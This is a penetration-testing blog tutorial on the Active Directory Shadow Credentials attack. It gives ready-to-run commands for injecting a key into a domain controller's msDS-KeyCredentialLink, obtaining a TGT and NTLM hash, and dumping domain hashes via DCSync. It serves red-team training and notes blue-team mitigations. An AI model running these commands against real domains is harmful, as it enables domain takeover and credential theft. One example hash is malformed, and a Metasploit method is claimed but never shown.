As we dive deeper into network exploitation and ethical hacking, we inevitably encounter one of the most critical and widely deployed components in corporate Windows environments: Active Directory (AD). For cybersecurity professionals, penetration testers, and Red Teamers, mastering the Active Directory attack surface is a game-changer. AD is not just an authentication system — it’s the heart of modern enterprise networks and a prime target for attackers seeking privilege escalation and persistence.

In this exclusive article, I’ll break down step-by-step how to exploit and map the Shadow Credentials vulnerability in Active Directory, a technique gaining attention for its stealth and effectiveness. We’ll connect these tactics to the MITRE ATT&CK framework, highlighting exactly how Shadow Credentials enable attackers to bypass traditional authentication, maintain persistent access, and escalate privileges within the domain. If you’re looking to strengthen your penetration testing skills, improve your Blue Team defenses, or simply understand one of the most dangerous forms of Active Directory persistence, this deep dive is for you.

Kerberos is the trusted authentication protocol used by Active Directory to securely validate user and service identities. Its architecture is based on a ticket system, significantly reducing the need to transmit passwords over the network.

In the traditional authentication process, Kerberos relies on symmetric cryptography. The client first sends an authentication request to the Domain Controller (KDC) with a timestamp encrypted using a key derived from the user’s password.

If validation is successful, the KDC responds with a Ticket Granting Ticket (TGT), encrypted with its own secret key. The client can then use this TGT to request access to specific services in the domain, eliminating the need for multiple password authentications.

Although efficient, this shared-secret model is not ideal for every scenario — especially those requiring Public Key Infrastructure (PKI), like smart card authentication. It’s precisely in this gap — between traditional authentication and modern certificate-based mechanisms — that techniques like the Shadow Credentials attack emerge, leveraging objects configured for key-based authentication.

With the evolution of Kerberos, the PKINIT (Public Key Cryptography for Initial Authentication) extension was introduced, adding support for asymmetric encryption during the initial authentication process. Instead of relying solely on passwords, PKINIT allows the use of public/private key pairs for authenticating clients in the domain.

There are two main ways to use PKINIT. The first relies on traditional certificates: the client uses an X.509 certificate and its private key, and the KDC directly validates the certificate. The second — most relevant for this article — is the Key Trust model, where authentication is based on a public key stored in the object’s msDS-KeyCredentialLink attribute within Active Directory. Here, the KDC checks if the public key sent in the AS-REQ matches any stored in this attribute, enabling authentication without a conventional certificate.

During this process, the client sends an AS-REQ signed with their private key, including the corresponding public key. The KDC checks if this key matches any listed in the msDS-KeyCredentialLink attribute. If there’s a valid match, the KDC validates the signature and, upon success, issues the TGT.

Introduced in Windows Server 2016, the msDS-KeyCredentialLink attribute is a multi-valued field designed to store public keys associated with an object. Each entry represents a KeyCredential object, containing data like creation date, the distinguished name of the owner, a GUID corresponding to the DeviceID, and most importantly, the public key itself. During PKINIT authentication, the KDC scans these entries to locate a matching key.

Modifying this attribute is restricted to highly privileged accounts. The main groups with this permission are: Key Admins (key administration within the domain), Enterprise Key Admins (similar permissions across the forest), and Domain Admins (broad privileges within the domain, including the ability to change sensitive attributes).

The Shadow Credentials attack exploits excessive permissions over the msDS-KeyCredentialLink attribute, enabling an attacker to inject their own public key into a user or computer object in Active Directory. Once this is done, the attacker can authenticate as the target using PKINIT, bypassing traditional authentication controls.

Step 1: Identify Permissions on the Target Object

The first step is to find an object in Active Directory — such as a user or computer account — where the attacker has sufficient permissions to modify attributes. Permissions like GenericWrite or GenericAll are needed to change the msDS-KeyCredentialLink attribute.

You can identify Shadow Credentials attack opportunities by enumerating permissions in Active Directory using BloodHound. Run a full collection with:

.\SharpHound.exe -c All --domain domain.ad --zipfilename domain.ad

Step 2: Inject the Attacker’s Public Key

With the right permissions, the attacker injects their own public key into the msDS-KeyCredentialLink attribute of the target account. This registers the key as a valid authentication method for the object — even without the original user’s knowledge or consent.

Step 3: Generate a Certificate

With the corresponding private key in hand, the attacker generates a certificate in PFX format, associating it with the previously injected public key. This certificate will act as a legitimate authentication mechanism linked to the target account.

Both steps can be performed using the same tool: pyWhisker.

Download the tool here: https://github.com/ShutdownRepo/pywhisker.git

This command will list values associated with the domain controller:

pywhisker -d domain.ad -u "user" -p "Password@1" --target "DC$" --action "list"

After confirming the user has enough permissions to modify msDS-KeyCredentialLink, inject a new public key into the target object. Use pywhisker with the --action "add" option to register the Shadow Credential:

pywhisker -d "domain.ad" -u "user" -p "Password@1" --target "DC$" --action "add" --filename DC$

Step 4: Authenticate as the Target Account

Using the generated certificate, the attacker authenticates to the domain via PKINIT. For this, we use PKINITtools, which allows you to request a Ticket Granting Ticket (TGT) using public key authentication.

The following command performs the request, using the .pfx certificate and saving the ticket to a .ccache file:

python gettgtpkinit.py -cert-pfx "DC$.pfx" -pfx-pass certificatepassword domain.ad/dc$ dc$.ccache

The tool also prints the AS-REP encryption key, which you can reuse with getnthash.py to derive the NTLM hash of the object — enabling other forms of abuse or persistence:

python3 getnthash.py -key 26876af3ba1f1a8b95f5f1adf355eaf6004a57556edab71f6a5bfaca2053d579 DOMAIN.AD/DC$

With this hash, the attacker can perform additional actions such as pass-the-hash, SMB authentication, or even DCSync, depending on the privileges of the compromised account.

Step 5: Assume Victim Identity or Escalate Privileges

Armed with the machine account’s NTLM hash, the attacker can perform a DCSync attack — a technique that simulates a domain controller requesting user hash replication:

impacket-secretsdump -hashes :42e8bbe3wwwb6e429f6174a311d8f1aa 'domain.ad/[email protected]' -j

The Shadow Credentials attack is a powerful and stealthy persistence technique in Active Directory environments. By abusing misconfigured permissions on the msDS-KeyCredentialLink attribute, an attacker can inject valid asymmetric credentials and authenticate as privileged accounts — without directly interacting with passwords or users. This approach is particularly dangerous because it relies on legitimate PKINIT authentication mechanisms, making it harder for traditional security solutions to detect.

In our practical exploration, we saw how pywhisker can be used to inject and abuse Shadow Credentials, but also that in some scenarios the tool may fail — where the Metasploit Framework provides an efficient alternative, with the added benefit of automatic certificate generation.

Finally, once the attacker obtains the TGT and extracts the NTLM hash from the target machine, they can escalate privileges even further, including running attacks like DCSync to exfiltrate administrator hashes. Mastering this technique is essential for Red Teams operating in corporate environments — and, at the same time, a warning to Blue Teams: monitor changes to the msDS-KeyCredentialLink attribute and restrict the use of groups like Enterprise Key Admins as fundamental steps to mitigate this vector.

👾Padawans, enjoyed this guide?
• 👏🏽Clap now or comment which channel you’ll try first — it helps me craft even better content!
• 🔗Share with friends embarking on their cybersecurity journey — your support means a lot.
• 🤝Follow me, Douglas Costa and Infosec-Writeup, for more Red Team wizardry.

Ready to start pentesting? Join our beginner group and let your environment shape your success!
👉 Click here to join now